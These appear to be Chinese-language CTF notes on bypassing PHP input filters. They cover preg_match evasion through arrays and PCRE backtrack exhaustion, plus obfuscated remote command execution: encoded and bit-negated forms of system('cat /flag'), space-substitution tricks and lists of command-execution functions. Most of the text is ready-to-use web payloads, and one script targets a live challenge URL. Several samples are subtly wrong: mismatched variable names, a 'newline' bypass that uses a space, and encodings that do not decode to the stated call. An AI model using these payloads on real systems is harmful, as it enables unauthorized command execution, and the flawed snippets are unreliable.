1.preg_match函数绕过
1.数组绕过
<?php
$pass=$_GET['zx'];
if(!preg_match("/admin/",$zx)==false){
die('hacker');
}
echo 'flag';
?>
?zx[]=admin
2.换行符绕过
<?php
$pass=$_GET['zx'];
if(!preg_match("/^.(admin).$/",$zx)==false){
die('hacker');
}
echo 'flag';
?>
?zx=%20admin
3.利用PCRE回溯次数限制绕过
function jiuzhe($xdmtql){
return preg_match('/sys.*nb/is',$xdmtql);
}
$xdmtql=@$_POST['xdmtql'];
if(!is_array($xdmtql)){
if(!jiuzhe($xdmtql)){
if(strpos($xdmtql,'sys nb')!==false){
echo 'flag{*******}';
}else{
echo 'true .swp file?';
}
}else{
echo 'nijilenijile';
}
}
这里is_arry过滤数组
import requests
url='http://80b45bdd-e6de-4193-bc46-58bb19fc477f.www.polarctf.com:8090/'
data={'xdmtql':'sys nb'+"aaaaa" * 1000000}
r= requests.post(url=url,data=data)
print(r.text)
2.rce
1.找未过滤字符
1.命令执行函数
system() - 执行命令,返回最后一条命令输出
exec() - 执行命令,返回命令全部输出
shell_exec() - 通过shell执行命令,返回全部输出
passthru() - 执行命令,输出原始返回值
popen() - 打开管道执行命令
2.读取文件命令
cat -读取文件内容并输出
more - 分屏显示文件内容
less - 分页方式读取文件内容
head - 输出文件头部内容
tac - 从最后一行开始反向输出文件内容
tail - 输出文件尾部内容
nl - 输出行号和内容
od - 以二进制的方式读取档案内容
hd/hexdump - 以十六进制显示文件内容
strings - 输出二进制文件中的可打印字符串
sort - 对文本文件中的行进行排序
uniq - 去除文本文件中的重复行
、
3.空格替代
<
<>
${IFS}
$IFS
%20(space)
%09(tab)
$IFS$9
$IFS$1
2.字符串转义绕过
字符串转义绕过
适用PHP版本:PHP>=7
\x73\x79\x73\x74\x65\x6d\x27\x27\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x27\x29;
#system('cat /flag') \x表示16进制
;
\163\171\163\164\145\155\52\47\143\141\164\40\57\146\154\141\147\47\51
#system('cat /flag'); \8进制
\u{115}\u{121}\u{115}\u{116}\u{101}\u{109}\u{40}\u{39}\u{99}\u{97}\u{116}\u{32}\u{47}\u{102}\u{108}\u{97}\u{103}\u{39}\u{41}
;#system('cat /flag');
\163\171\163\164\145\155\52\47\143\141\164\40\57\146\154\141\147\47\51("\167\150\157\141\155\151")
#system('cat /flag');
3.取反
<?php
var_dump(urlencode(~"system"));
var_dump(urlencode(~"cat /flag"));
?>
string(18) "%8C%86%8C%8B%9A%92"
string(27) "%9C%9E%8B%DF%D0%99%93%9E%98"
xdmtql=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);